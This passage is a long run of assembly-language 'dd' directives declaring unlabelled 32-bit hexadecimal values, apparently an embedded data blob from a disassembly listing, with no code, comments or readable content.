dd 90E58B1Fh, 0E08DC48h, 5A618900h, 0C45D0A2Eh, 9A5B00D5h
dd 4B4F6584h, 240098CCh, 0DD799162h, 2D1015h, 0B373DF6Ah
dd 34A9B4FEh, 338AF600h, 212DC25h, 45E030h, 648051F4h
dd 7C5F3F44h, 3D7EE900h, 0D4CFAD27h, 0F73780Fh, 0D14BD975h
dd 387264E0h, 94771453h, 0C0DEA100h, 9881FDAAh, 0C6D400D0h
dd 7126D739h, 1004EFBh, 0AD365B34h, 1C75A2h, 51EFE53Eh
dd 239B20B7h, 61001FE2h, 8381AA4Dh, 0B011660Bh, 6D980012h
dd 857DE5F5h, 0A000FC70h
dd 0F31E1319h, 7144BF2Ch, 7C873E48h, 4699A4h, 1FBE33B1h
dd 0A73A8E4Dh, 0F354892Eh, 0B050001Ah, 60DE9Eh, 7DE1F6F8h
dd 9659B218h, 0A3FB1E1Ch, 0FCA80F00h, 769CF37h, 378DEBBh
dd 0DF0C6353h, 0B1963FD8h, 335E5600h, 0E983F709h, 0BECD00BDh
dd 71DD53A9h, 27008DCBh, 0A78826DAh, 4F985Ch, 7FE11A87h
dd 4556A82Bh, 0E3B34B06h, 0A26A8Fh, 53F7B1C7h, 63448902h
dd 8525E519h, 0F970EC48h, 18DB7CB9h, 52F00B9Ah, 0C60090AFh
dd 37DD33Fh, 712CCDFh, 0F381DC16h, 0B19FD0ADh, 24602259h
dd 0F8AC92F0h, 9E789Dh, 2F1FC3Eh, 85C5ECA7h, 868C7600h
dd 7C0B54BFh, 5BAD00C6h, 13479E19h, 8E036ECDh, 0B2392722h
dd 4E42B82Fh, 913317C0h, 0D4175Eh, 2671CE44h, 75036BFCh
dd 65F3E7C7h, 7783E87Ah, 8A5F0009h, 0D7EBC4D2h, 0C02C60AEh
dd 8100D51Bh, 0FF223C48h, 94241E55h, 35AE0026h, 53EB1B0Ch
dd 0D39B431Eh, 0A84E8A00h, 12382486h, 2B276Ch, 3648AA48h
dd 1100D39Dh, 4D5384B7h, 60C34441h, 0D2C6660Dh, 8F0EE491h
dd 0E0A9E1E5h, 55FAC6Dh, 2D0D0FD3h, 80FC9835h, 87929F8Eh
dd 0E200AD86h, 41847280h, 0E848F7DDh, 61121CBBh, 4398DFF1h
dd 9FC80D1Fh, 74E8B7E0h, 9500D077h, 0C32677E0h, 0A6CF11h
dd 0FE2B3189h, 497C7AAFh, 0D0F5C00h, 0AC6C1BFAh, 17994CC5h
dd 315902Eh, 0B99B80AEh, 890AE5A0h, 71EC7E00h, 74137B7Fh
dd 0E0E100F5h, 925AAFCBh, 0BC0016EBh, 5DC1D8D2h, 0C279B7h
dd 970A8B2Ah, 6013F6FCh, 0E9BED300h, 6283AC8Eh, 0A5EAFAh
dd 5BD2983Eh, 340CE7EAh, 0C1959h, 55E9476Ah, 48B572h, 50E626DEh
dd 7FE58370h, 47E42800h, 0BD76937Ah, 4A6800C9h, 8BC145BFh
dd 77243146h, 3000007h, 0ED98BE0Bh, 42B54C88h, 328E1500h
dd 0CC8F3377h, 3C006B73h, 0EA9C4626h, 4C4A6714h, 5680243Ah
dd 0E6E7F5BFh, 0DA21C800h, 0B968FF6Ch, 0F8722E2Eh, 70290098h
dd 8C24E39Bh, 0F04748h, 2858A941h, 9AE773Ch, 32DBC0BAh
dd 210A6C40h, 464Ah, 89653F09h, 2957492h, 416B2A03h, 9450E1DCh
dd 429D6118h, 3D7B639h, 67AED9E8h, 0ECA0CE23h, 0E62326Ah
dd 52733021h, 5B9700B0h, 4A29200Bh, 6A00745Dh, 3C726D93h
dd 0D170B7h, 79198054h, 1E7E64F0h, 0DB63D800h, 30AF6B74h
dd 0EEC42502h, 0F9905800h, 1F733E77h, 4DB8015Fh, 7D20F41Ch
dd 0F0DAE980h, 0BF02A173h, 0DC4A5A00h, 57AFAB78h, 0A0791262h
dd 194CC814h, 73972400h, 0DBC9201Dh, 2F1800C4h, 4E5349A8h
dd 26791A46h, 72275D00h, 0FFD671B8h, 0EE4100E2h, 57E4395Fh
dd 0A60F7821h, 0E7584636h, 75E3745Bh, 6965B8DAh, 0EA270E48h
dd 76A043F9h, 0BFEF3F6Fh, 447C8526h, 52A7BB03h, 3BCA007h
dd 0ACBD5CAEh, 0F2A47104h, 0B0B0A268h, 0F8EB685Eh, 0F2176F9h
dd 0EAC2243h, 0F4FBB220h, 2400CC05h, 0FCAEBFEDh, 9C4144Bh
dd 966AC261h, 0A3B25780h, 0EB099AF3h, 8245E4A9h, 600BD066h
dd 1D7FD7EBh, 8012A11Ah, 0E1EAB0E3h, 80028ABCh, 27928683h
dd 0AA13601Fh, 0FA4A98h, 0E595F704h, 0A000E7D6h, 5CEAD93Ch
dd 0ECF9B3F4h, 3B49C6Fh, 0CB574DE2h, 3B2168C0h, 0AF20FA01h
dd 0ADD8F166h, 51ECA121h, 0F5DD00E1h, 0BE5D787Eh, 93486C80h
dd 9502009Dh, 8F658839h, 1B6E2A0h, 368ECFEFh, 6017FB20h
dd 460010FCh, 0DBD743BEh, 5630155h, 99CFBA22h, 669A0042h
dd 0B46FAC9h, 0AE7AED00h, 0CA9E88ADh, 0AC070050h, 7B8EC0E9h
dd 0A1011B71h, 67D023C6h, 91CC48A5h, 0A466396Eh, 0B0259480h
dd 8BA75E4Eh, 86992800h, 0B55029C4h, 6D9E00ADh, 0A2ED353Eh
dd 505C91Ah, 0B4387C25h, 1CCBDC5Dh, 0E4D8C30Fh, 0C81B00BFh
dd 89B7AB4Ah, 83129B3Bh, 9914F035h, 2C28B9Eh, 6DA89388h
dd 0D44953C7h, 0FCFDFC34h, 3178972Fh, 4330F284h, 627D03B6h
dd 2B2CD6C1h, 0E75DD1B8h, 122E6D00h, 49156B99h, 0DA500E9h
dd 6C065679h, 0EC00B2F2h, 0CFE3E261h, 35032Ch, 2214187h
dd 0C32F4AB9h, 550BE90Eh, 89FB43D2h, 0CD2980E1h, 0BA2C0026h
dd 60993F10h, 0B12C44FAh, 0DC008B34h, 77525843h, 0E97474h
dd 7FFE7385h, 6B8DF790h, 0F9EFF3Ah, 404DA72Ch, 0DAA22D61h
dd 0FC38017Eh, 80A085E1h, 7240D0CCh, 0CC0A0C2Ch, 20DDA5B9h
dd 0D1E077C8h, 95860BF8h, 91806A84h, 0C7C89F47h, 0D5405802h
dd 0C0B610F4h, 7D9BB86h, 97DAF1B1h, 7E23B08Dh, 8F15A646h
dd 12AC1780h, 548F8173h, 366B3800h, 1390B2C4h, 437C4200h
dd 0EC1D6208h, 7E590044h, 83B450C6h, 22001A10h, 19ECCBCh
dd 0E1B1626h, 31E37D60h, 7297D9A0h, 0E8925B28h, 0EAFB7702h
dd 80DE57AAh, 724B1188h, 38B26182h, 0E81A4ADDh, 8900F236h
dd 4C562434h, 3EC70FC3h, 0C800A5E6h, 0F1489141h, 0B490FA5Eh
dd 26774FF8h, 2CF6DA00h, 845FC96Eh, 0E81FF466h, 34C11EC5h
dd 48EE004Fh, 737DE377h, 0A7A65813h, 288E6305h, 4E9CA3C0h
dd 46D7007Eh, 0E79F76DAh, 3400041Dh, 0D619AB0h, 0C0E87Ah
dd 0EADA602Bh, 23F6C803h, 74BBA5Ch, 0D5643F70h, 37BEC08Eh
dd 79CB8C7Ah, 5B333D8Eh, 185E1103h, 65889A78h, 0B401EC19h
dd 2E8E55E3h, 6AD48AD4h, 0EAE50052h, 0BDB17FCFh, 0AD076C68h
dd 0B1C3350h, 0E0D33030h, 0A2360122h, 478EA606h, 381307Eh
dd 0C8278000h, 4E1F6D50h, 56200A91h, 0B8B6EAh, 0B7FAB2CEh
dd 0EE0EEF7Bh, 0CD3558h, 5E6AC964h, 7E300078h, 0E417727Dh
dd 0A51CBBA6h, 0B540195Ch, 1CC4710Dh, 0A2EE0078h, 0E9D633DCh
dd 7400BEB6h, 5BDFA60Ch, 275F0D18h, 48805371h, 27970E89h
dd 0F95FF3Ch, 8059F991h, 0F8B79931h, 76BE7B44h, 0F0871FCEh
dd 3BE06F26h, 738D266h, 40A458AFh, 0E500FDBDh, 747A328Fh
dd 0E0D473h, 330C7CBBh, 0B67660CAh, 62433E0Bh, 4898E0F3h
dd 0FCD10B0Bh, 0A680E674h, 0CE644631h, 0EA196300h, 0F8BE8FEFh
dd 0D2D0E29h, 47C4D42Ch, 80C88722h, 7C82286Ch, 341E0100h
dd 9884994Bh, 23BA00F5h, 0AB40E017h, 811DB308h, 3C817A75h
dd 0A9A63ADFh, 0A4AF7D4h, 0D3E2F578h, 66A881B8h, 0C0328211h
dd 0F007A6C4h, 1CFD39AAh, 5F88B220h, 687D0057h, 176F5971h
dd 6A78D6D0h, 691F9076h, 0E740E955h, 5EB843D8h, 0F0C51E95h
dd 56E500C0h, 804720B7h, 4C2AA00h, 0EA97862Fh, 62A80E76h
dd 3C6014E0h, 0C613CD9Ah, 0A554B603h, 0B8565BF0h, 0D27DBEh
dd 73D8A018h, 0E9142A69h, 3FCF7E00h, 0F3C837C3h, 61AF004Bh
dd 9F709C1Ch, 90033B3Ah, 242C2B98h, 681DA9F1h, 72D621C0h
dd 0CFD303F3h, 3D01F788h, 4DACF100h, 0CD2F0861h, 6D44120Ah
dd 0F01EFDh, 39125874h, 1C4AAB72h, 7600481Eh, 0CB874121h
dd 0BB2B0003h, 0D6305328h, 1E00F931h, 6F36C5ACh, 0C02A7279h
dd 0EE964238h, 0F473F328h, 50C9B200h, 0E8651E4Eh, 4F6B1E2Ch
dd 0F18B405Ch, 3135864Dh, 20921200h, 0A5B6F606h, 0F4D90008h
dd 9B24F7ECh, 1C0FFAC2h, 0E07255EEh, 0EABBA18h, 0CBE60064h
dd 0FF5240BFh, 140F5CACh, 40663DBCh, 8C3822Dh, 0A33600D0h
dd 7DCC8E3Bh, 0B2007E16h, 71489F63h, 34FAB9Ch, 94E7F572h
dd 42012EDBh, 6F06D3FFh, 93E0FBBFh, 404D0B0Fh, 70A346CBh
dd 5A00E9A6h, 0B5621DC9h, 4C7C22FBh, 2B002D4Bh, 195D43E1h
dd 2005F8Bh, 49524291h, 4C3453C2h, 0A006214h, 3FAB8E10h
dd 0D4026E61h, 4254291Eh, 3C64528Fh, 0A201A96Bh, 40868412h
dd 0CDEF02h, 3950FAF8h, 0C800BFE6h, 92D32367h, 0F0C01A42h
dd 0D5E801D7h, 99B76B60h, 682083B0h, 0CCD0A83h, 7342A3B8h
dd 82022960h, 843E9B1Dh, 0C88503Dh, 97BA8C04h, 9BF03A21h
dd 842E39h, 0A4C60D20h, 9067530Fh, 0C3A9021Ch, 0D76A7602h
dd 4F90A1E0h, 215B4225h, 30A261D4h, 5FB65981h, 81A8DA26h
dd 0EEADFC90h, 1040B06Ah, 3DE1D55Ah, 61007934h, 40849B67h
dd 5DE61DC0h, 16656200h, 0EDA50976h, 82910050h, 159D6D03h
dd 0EE00D09Ch, 0E4F4AD0Bh, 790FA136h, 8341132Bh, 95130007h
dd 0BA88F36Dh, 7A9CF703h, 884378D2h, 0EBFC0Eh, 0CCD32B7Fh
dd 54B5806Dh, 5264FB00h, 611AAC20h, 0DEBA00D2h, 125EB46Eh
dd 0E5F0275Fh, 0BC93CB00h, 0A3A574E1h, 306A7CC6h, 89F86515h
dd 0C514C75Eh, 2B8EB95h, 0ADB9A27Bh, 3DDCE063h, 837E3AA4h
dd 0B483DC25h, 5B00E0Ch, 9007AD57h, 4D1CA1Eh, 99863910h
dd 0EFF33A74h, 0E0096115h, 718E1B01h, 53560BF2h, 0D0D8ACB4h
dd 2A06298Ah, 245C6804h, 3F4B08h, 0CFFE1D24h, 0ED07DEDCh
dd 0CB5DABC3h, 6002D800h, 6DAE0035h, 52F84399h, 0C8A83E65h
dd 0AB3F4623h, 0E8FF8314h, 4B3237E1h, 0BF28C008h, 0AB16E691h
dd 13AC3CD3h, 6F0C7930h, 0E800306Ch, 2D1E204Dh, 72C3F3ACh
dd 31A1B8E1h, 0CCB075DAh, 48EE70DFh, 74E41A03h, 0F7036588h
dd 1EC27D43h, 0C07CFF20h, 0C66F79D9h, 0B95C5F5Eh, 849C286Bh
dd 77DA8F48h, 10738930h, 0E2D7AFD4h, 18A403EFh, 0B5D0E4CBh
dd 840235B0h, 0D25F300h, 4E11C345h, 0BD7800BFh, 945D535Eh
dd 0F32C7BCAh, 4C008551h, 1F1B80A9h, 0FEC8F8EFh, 935203AEh
dd 48905596h, 28AD0EF8h, 87E78801h, 6DE67B6Eh, 8D93B8EFh
dd 95573A83h, 20ECDC18h, 0CF73E9D0h, 375B4C00h, 0CDBAF240h
dd 21BB008Dh, 190E87ACh, 530C9799h, 0AA7B44C6h, 2351036Eh
dd 6B986FBh, 0E9A39D8h, 0B1F61F18h, 25FD78h, 16A88D98h
dd 0D9AF7229h, 5B80900h, 0C9C24D77h, 23AE062Ah, 0A90E8DCCh
dd 754B8300h, 0E855F502h, 0DE8DA0F1h, 271B008Fh, 94ACA5AEh
dd 8230123Ch, 0D6BB3844h, 0B7A0C026h, 154614Eh, 39869100h
dd 0AE93AAEBh, 7BC00094h, 9A79DBD0h, 2C0090D4h, 0FF810DFBh
dd 0B73871Bh, 5036F728h, 50034607h, 486F5C0Bh, 9008FEEh
dd 5804BB10h, 0AB5BE5h, 9218E678h, 0FF7706CAh, 4802D9F2h
dd 276B0996h, 0B1FC80DFh, 5F308DBh, 50D76E90h, 0C87080E2h
dd 0D6189273h, 25D6BEB7h, 0FADF2CB1h, 22190067h, 0DEE7271Fh
dd 0D65A3Ch, 0FF04C432h, 2D9CB1h, 0D33B7359h, 7F257530h
dd 0EAD1106h, 7909926h, 80BF9E2Ch, 36B3B07Dh, 880CD0C9h
dd 98852B81h, 9C0E1ED3h, 7699015Dh, 0F0820B2Eh, 0E40021D6h
dd 0B93B8BBAh, 791B40Ch, 5CC8648Fh, 1F2513A9h, 906B1EC8h
dd 0BBDF4200h, 78ADB8B0h, 2C41F333h, 0C211CAB4h, 44F80865h
dd 1922D8C7h, 8E442290h, 415C521h, 4B9727Bh, 2423989Fh
dd 76AB0FD8h, 80121621h, 0B9367159h, 58A0B084h, 0D989ABFCh
dd 76402C57h, 2178B3A7h, 0D0088C7Bh, 986A9B94h, 83D45911h
dd 2248101Fh, 0AB353810h, 821BAD10h, 2A212FFh, 27009967h
dd 90772469h, 1CFDF020h, 8BD3DF7Bh, 1F5A88Eh, 4D976A07h
dd 0A0FEAEE9h, 0E43628DCh, 51780E2Ch, 4361893Bh, 83C43A2Dh
dd 34108F68h, 0BBFFD01Ch, 6690A0CAh, 1BAF2E84h, 124A008Bh
dd 26DECEEDh, 8DF96C00h, 0F301A43h, 0A3EA30E1h, 4B990C30h
dd 2E7F4F00h, 0BA76D519h, 3181247Bh, 710A8000h, 6E3D1048h
dd 9746AD00h, 65C55C0Eh, 42B500F2h, 0D1276749h, 640078E2h
dd 34EA6AB6h, 660EFFh, 0DB50AA92h, 9BE1264Dh, 27E7600h
dd 8F7F5B0Ch, 51FE00CDh, 7CB18E8Dh, 350331AFh, 85E24CF3h
dd 0AD40C886h, 0F49700FFh, 0B2AF75Fh, 30EAA66h, 40C78F20h
dd 0B19EFCE5h, 35D40015h, 588BD0BFh, 62006051h, 72577422h
dd 9F3A7Fh, 0E91F850Dh, 0DCDD4012h, 0CDADF01Dh, 403DB2CEh
dd 69FD4BDh, 770E24Fh, 0A43B75FBh, 5F7E6069h, 0F6008B48h
dd 0AD27688Eh, 735191h, 2A390CACh, 0ECC8756Ah, 0A0001D78h
dd 38BBF35Fh, 13BEF8E8h, 1476A3B5h, 0B90058C3h, 0A2C6E6A4h
dd 0B8927A73h, 12FCE080h, 8721CF07h, 0FFD43E0Bh, 93B83880h
dd 120C14Fh, 20B06C05h, 0C31F1924h, 0F5CAD5E6h, 0B907D845h
dd 4C93FA5Ah, 0A0CAB9F2h, 0D9BD2888h, 80703F84h, 40F94E04h
dd 0ACF49B97h, 0BFF11078h, 0B3A818E0h, 88636251h, 79C25F89h
dd 2E4A0B5h, 76224087h, 2EF2545h, 0E52F8914h, 1158A003h
dd 0CFEAA79h, 28AE76DEh, 6F4B442Dh, 9E514662h, 78602361h
dd 8212921h, 32884465h, 2DA18958h, 2E508A5h, 0C5C2F83Ch
dd 6408C605h, 5139468Ch, 234A8803h, 998557h, 8DBF1BD4h
dd 54F62893h, 2E7AA700h, 499C9F21h, 92B000DAh, 27C4547h
dd 0EA001D5Ch, 27E262D9h, 7DC6077h, 0E117EE95h, 315AE048h
dd 0E022414h, 2A1B9C0Ch, 0B8A84028h, 0D9DF00A5h, 93D5B4D8h
dd 6300D473h, 0B6B50299h, 0F4C36665h, 9B5900B8h, 2076AC43h
dd 74001D54h, 0AE4A52C8h, 7C0463h, 2ECA375h, 55875B9Eh
dd 0DFAC6000h, 9028C3DEh, 56321ECFh, 0BE344012h, 0ABFA67B2h
dd 70085400h, 6F0B962Bh, 68204D5Eh, 7EC1F700h, 0FA4CB94Dh
dd 71514100h, 0EFE41FFDh, 0AEE03A6Bh, 216CCD80h, 0B4B9F961h
dd 0F61C0800h, 0D220283Ch, 14AF5C12h, 679C4B00h, 0D0691909h
dd 3B7BE000h, 4429952Dh, 6324008Bh, 0A0AA5610h, 0A4003122h
dd 4EF96E4Bh, 0F851CF58h, 6FEC0919h, 38A0D399h, 78F984AFh
dd 0F298DA03h, 0F0D7E2E3h, 1D4B7280h, 13A3158h, 8770B59Fh
dd 1810E421h, 25CE3B02h, 0E014A690h, 27FE33h, 0B4F7C20Dh
dd 0ABE70AF3h, 38216000h, 0D19F47F1h, 16D8FB98h, 7454001Fh
dd 0E9F9BBACh, 71003624h, 3A91F5D8h, 0E3C5BE1h, 74C4BC1Fh
dd 0D720450Fh, 0AD2C67DCh, 180046E4h, 97113130h, 0FA3A4Ch
dd 5F2B21B9h, 0A2D66853h, 0DB54F913h, 263F19FCh, 695AFE00h
dd 880AABD8h, 94761009h, 0FD768AF5h, 3ECBFA00h, 4C2C3AAFh
dd 0AC0004F3h, 87B5C399h, 0D7008F51h, 294E0B3Fh, 3E0D1FEFh
dd 57002354h, 0AA7E6A36h, 2E006E69h, 0CF9864FCh, 0D7904Eh
dd 8557533h, 4A26549h, 809A143Ch, 0FB5E66F8h, 40917E4h
dd 636F88DEh, 545880F0h, 0D071320h, 0FB04DF4Bh, 8E3B402Fh
dd 1DC6D52h, 6209B47Eh, 0DCCD3949h, 0FA1EC563h, 0F457D6ECh
dd 1267F0h, 0FC37F890h, 0F0A86B07h, 68D23300h, 4FC09315h
dd 8590005Fh, 0CA507AC8h, 16006CBDh, 5B2472EAh, 2AA925h
dd 1FE4AC64h, 0FCA8AD41h, 0E311ED04h, 9CC08694h, 2762972h
dd 38F3DAD3h, 13402DA4h, 9A0011F0h, 0ADCCAFB0h, 60121FE8h
dd 8677A8F2h, 30002B8Ah, 3DEEE0B7h, 2940EB4h, 0C49C9535h
dd 0C26328FDh, 29AD54E0h, 4CB2011Dh, 971738F0h, 82CA00E3h
dd 0A3332248h, 56006A8Bh, 0D9751888h, 1C463825h, 40429F76h
dd 95B0FA45h, 0D300025Ch, 395A1CC4h, 3D218C8h, 0E34033B5h
dd 73D07CB3h, 0F300EE7Bh, 502DC9Ch, 5364660h, 0AB2A095Dh
dd 0A424C3A5h, 0AEF816A8h, 0B7EA1F09h, 1C09006Ch, 56D672h
dd 2FFECF9Eh, 0F2E1957Eh, 82A77107h, 3F90F97Dh, 7BD60Ah
dd 3D44288Dh, 0C786486Ch, 5FE57007h, 0A0EFC61Dh, 84B179Eh
dd 1BE846h, 3F20F509h, 932D5241h, 6AD00213h, 5C5D0400h
dd 720817AFh, 74B439ABh
dd 56512500h, 3029E5D3h, 817CA200h, 0B694B2E8h, 3BF1D92h
dd 25A040CEh, 864B1C17h, 8800F3FCh, 30A4C2F6h, 9D248Fh
dd 3307847Eh, 83ADFDDCh, 7261B39h, 343B96Eh, 0A603A78Ah
dd 0A074BC20h, 0F08CDEE3h, 95C7508Dh, 0EE17001Dh, 0F21A5B4Ah
dd 0B107234Eh, 62DB087Ah, 184FEF50h, 0CCED00EEh, 87B77E97h
dd 6C00BE94h, 0A5B464A8h, 4EF8FDh, 65423818h, 0C269CE6Ah
dd 62AF7D00h, 0F248CD5Bh, 5B70596h, 0C014C1FFh, 2F2DA0F4h
dd 0AB8F5500h, 4437821Ch, 0F66E010h, 22360B49h, 0F880A0CBh
dd 0F48C5642h, 0C2A17C03h, 0D02B1501h, 0F27293B4h, 309B0611h
dd 663A5AB0h, 89536316h, 39211000h, 3CB971h, 4167EDEh
dd 0F23B9C11h, 8707A500h, 8B59B24Ch, 1D2C0797h, 5013E21Fh
dd 6CC7AFB4h, 0E500337Ch, 0F70EB609h, 3F8899Ch, 0B5D75613h
dd 599091EDh, 680003DFh, 777650A4h, 2CBD0A44h, 0D62A0Dh
dd 0AC5A3827h, 62007CFCh, 0CC39322Eh, 1FDCF1D2h, 0C0EA57B5h
dd 25E2BE1Eh, 0E011866h, 0B6537F78h, 0B1FD41CDh, 5CD493E4h
dd 813F7016h, 0E36FD103h, 10C0BCB6h, 0F3009F69h, 949335Fh
dd 70B817CEh, 0BCFF0002h, 778904BAh, 22075CCCh, 0F71EFC57h
dd 242337C0h, 8C750021h, 0BFB79EB3h, 3B037E2Dh, 6D642290h
dd 802EAAF8h, 80C133D4h, 0CE3100BDh, 0E3B39718h, 0D3005DA3h
dd 0FEE79DDEh, 1FE290F3h, 2935E1h, 0E8BF57D9h, 0FC009E50h
dd 4568417h, 0FF3516Eh, 0E7EDD69Dh, 0C2C67F40h, 950565FCh
dd 0E5520D8Bh, 0B003F883h, 596867h, 9AC46D56h, 0E94CC780h
dd 0D5063F02h, 0C0E58762h, 0B8B8A0E4h, 0D9FA00FFh, 10FE5B29h
dd 0C3009BE2h, 803E3F1h, 3C0CE6C5h, 0E080C7FDh, 4F042FACh
dd 5800A43Ch, 0B4C28B2Ch, 0E22DEEDDh, 0EBD3B09h, 87679203h
dd 0D6009024h, 0D3120B52h, 0EA111C8h, 0D5D75F7Fh, 20250FE0h
dd 5172B541h, 6092DD00h, 0ADAA3310h, 0BEA00098h, 0EB6E3121h
dd 0F61E8501h, 53CAFCA2h, 6200A010h, 0BA8206B4h, 410B00Fh
dd 4D67402Bh, 0E984C1h, 0E72284B8h, 833EDD58h, 148C80EEh
dd 356A4F0Bh, 6EC700F8h, 0BBBF6F11h, 1300A029h, 9F46B5FCh
dd 0EFB99Ah, 5BD05AF6h, 0C0F252E8h, 42C51D1Fh, 56008866h
dd 0CCF6C753h, 6C6B0715h, 0B045A384h, 110A4266h, 0C3C4FB07h
dd 9323535Ah, 9E55C09Ah, 9B0500B0h, 0D94230F9h, 0D40FE61Ah
dd 20A3C1F8h, 7EBF1887h, 0BE080A11h, 0E4FCDAh, 8092F78Eh
dd 3CB879E2h, 8B67FE00h, 7BA991DEh, 0FAB30064h, 0A65A950Ah
dd 46009B86h, 2B6C533Fh, 0B903502h, 0BE602D0Fh, 4C130B00h
dd 0B23E98AFh, 5BB59238h, 0F4675021h, 6BC01200h, 8AB01A01h
dd 0CA275D62h, 0FC83D0h, 8FB394CCh, 99C3532Fh, 4C805400h
dd 73DC5A6Ch, 88FD01BEh, 0CAFA4FDAh, 5BA0DFEDh, 154C7E4Eh
dd 6FF7000Ch, 0C99BC09Eh, 0F03D75F0h, 0C6763Bh, 827AC4B9h
dd 0E4608D96h, 72099805h, 18C06D9Ah, 4ADDE9h, 59E51CE2h
dd 0CD1ADF0Eh, 3E850A01h, 1BBEB67Fh, 0D9D8E8h, 1F1CFF11h
dd 0DA2B33CCh, 0AC000E75h, 7945EC61h, 0B08CED6h, 0E88CC214h
dd 0BE037480h, 0A4000AF7h, 0DC858087h, 0EE9119BAh, 0F289034Dh
dd 3E4E2817h, 0A8A9CD8h, 5CE86E01h, 598399C4h, 3EAFA9C4h
dd 978FDDE7h, 156E36F9h, 0B0811A04h, 0CF0041A0h, 0B847C83Ah
dd 51BCA7Dh, 14378AE5h, 73870375h, 50E7207Eh, 2750DEEBh
dd 0DB418400h, 0CBC13AFFh, 7E780015h, 72531BBDh, 35005E12h
dd 0A862ACC6h, 2EBFDED5h, 1388C91Dh, 669D00C5h, 2496AAD0h
dd 3B00FB73h, 3C564B3Fh, 1BEC00Bh, 0E7921B5Ch, 0FC7170ECh
dd 76507E23h, 9B02BBD1h, 0FE0E9537h, 0F85C63DBh, 2E42BEB2h
dd 3E5120A1h, 4D575A00h, 6D026745h, 35BC6200h, 4B079EF0h
dd 2B1C3BD5h, 0B8C9DB82h, 5458FC7Fh, 0DB45A00h, 1F4A4E43h
dd 0D89053h, 0EE34CFAh, 0D7C52802h, 45D6031Fh, 0B643EF40h
dd 28714B79h, 3EB4D8BFh, 23BDB0CEh, 470094DCh, 9D0643A7h
dd 7D0F0321h, 3766C810h, 7A512300h, 12565C7h, 982F112h
dd 0C83BED33h, 0DA00E82Bh, 7393CBB7h, 1BBAAACh, 27A558C0h
dd 0E0B99703h, 24B02B48h, 0F643E41Fh, 8C97D40h, 0D432CAh
dd 0CDFF6CFBh, 7C5B1F5Eh, 6113AF00h, 42BA86E0h, 4A60BF3Ch
dd 0A2001AB3h, 0DE0DFDE5h, 3E3B774Fh, 8D80160Fh, 0D99BE006h
dd 0CC030A6Ch, 0B9029CAh, 8FC8C8A5h, 1C5200F0h, 3347EB0Fh
dd 0C50EF792h, 0E1C3AF21h, 7BA5AD25h, 1B98BD8h, 75A0B19h
dd 80ED7511h, 1A06C024h, 280ECDF3h, 0B050CFh, 10BAFC8Ah
dd 48132719h, 137053Ch, 462CC14Ch, 8440943Ah, 2CDBCECFh
dd 7C9D21h, 0DE110C39h, 0AE00FBEEh, 5E91F96Dh, 7454820Bh
dd 489C01C5h, 0FBB5EB39h, 37A8FF6Bh, 0AA00283Dh, 0E05C8776h
dd 286FC0Eh, 66602AA0h, 6760A7EDh, 792407FAh, 13BDE1Eh
dd 0BFA83FF2h, 8DEC98E6h, 0DC9A3937h, 0B6A15780h, 9F767A1Eh
dd 10DB9407h, 0C07ED79Bh, 0BD5BB0F6h, 364F1D88h, 4C6344B2h
dd 0E4B08084h, 0DF00047Ch, 9FB03BEEh, 2BCBD5h, 2D15B2DBh
dd 433D33ABh, 0A774A20Eh, 0D9E820C8h, 7FF1C19h, 0BBD7474Dh
dd 0AB84h, 0AF204FCAh, 49913B00h, 0AB05061Dh, 302B4E14h
dd 0EC8F7594h, 858DBA01h, 76447B0h, 0F802C0h, 2780045Dh
dd 0C8E7DE7Dh, 0B095FB00h, 4C66E2DCh, 0C55A0123h, 356C8C4Eh
dd 5B06870h, 44F98803h, 40671DC2h, 0BB8070h, 0DBFA0210h
dd 65F2AD69h, 923BBE00h, 41442DC6h, 0ECEF0355h, 29F1435Ch
dd 546B04C8h, 2AB55A00h, 7E60DCC1h, 3732003Ah, 0FA904BB4h
dd 0DA028D89h, 3EC1AAB8h, 0E07870h, 0C04D7C67h, 3F9E965h
dd 0B8F5CE24h, 0D35FB901h, 0B60061D5h, 0F600E048h, 30E4781Fh
dd 17297062h, 4085C1h, 0B5221E0Eh, 9D781691h, 2EF4F80Eh
dd 0C0754E5Ch, 95A934B6h, 0A2F939D4h, 0EE9E5E03h, 2BE8C6ECh
dd 69ECB7C2h, 0D71038h, 2D64F09Fh, 0FC864AEFh, 12955B8Bh
dd 2A100D8h, 50ED749Dh, 34BFA100h, 0AFDCD726h, 184A0007h
dd 5AAD828h, 37AFCCBh, 0DE967000h, 72EE4946h, 9C9E0074h
dd 0F8BABE17h, 2700FECFh, 0C121EA01h, 0B976CAh, 0A8F6BD03h
dd 654CF14Eh, 3D562C1Fh, 7B3F6A40h, 0BB7E753h, 7F126C92h
dd 0FB272F00h, 0F87FF264h, 7267D506h, 9182C5Bh, 0AFE422A5h
dd 34859780h, 74004301h, 63F86E7Ch, 2D3742h, 1E89E80Eh
dd 0AF3077F4h, 3927FA00h, 783233A4h, 0CB153D4Eh, 6E3C5401h
dd 0E0709F07h, 974B364Bh, 0D3C1AC03h, 5C7BC8C7h, 85FE3BADh
dd 98E558F9h, 0F1874A3Ch, 60B45EDEh, 7CE79E84h, 16BCA600h
dd 0AAFF8E29h, 0C92B0043h, 7E77F240h, 0B5902C64h, 7D79FD00h
dd 4A0A87E4h, 0BB970A5h, 14A19D49h, 0E2FA9800h, 6D02D9B2h
dd 0D27A1557h, 0C84EC042h, 6AC72C22h, 23A280A4h, 64F4532Eh
dd 0CE166E1Dh, 0EF723940h, 7F436FB7h, 0BB902E38h, 0CB476038h
dd 723EC120h, 8A6387A0h, 9E10147Ch, 420BFFh, 0C2786881h
dd 1F3641BDh, 40534300h, 0E76697B3h, 0D79C00A8h, 0BE91AE4Fh
dd 540BB0D8h, 804365B1h, 0F9DBE1ACh, 0E5FA12C1h, 84E01F09h
dd 0C2CFC9D6h, 74E0FE1Ch, 0CD00F2A3h, 91476905h, 7F9131Fh
dd 434F2D22h, 0FA8470FEh, 6D009837h, 850766CCh, 32B39Fh
dd 45A18E3Ch, 4904D55Bh, 33180800h, 0FDC2B650h, 0E74A3DF0h
dd 0B500343Ah, 7ACE4E81h, 54006AB7h, 555798D3h, 22915BCh
dd 3E38DAC4h, 80E0D71Dh
dd 92008387h, 9992DE0h, 0FA6941F2h, 0B9700ACh, 5CA1F9BCh
dd 541C492Bh, 0B2C06785h, 1E73E9C8h, 43480068h, 988C977Bh
dd 2B002605h, 47A67DE6h, 89169Eh, 0B453468Ah, 17420D92h
dd 0A0136A0Ah, 5602DC04h, 0C0CAF371h, 152BF0Ch, 8AE622E5h
dd 3C87B9CDh, 0F3A900ACh, 0EBC2FDECh, 82D10A4Eh, 0FF6680h
dd 96DEA812h, 0F0B6CE4h, 80F4C934h, 33F1BF04h, 578605A7h
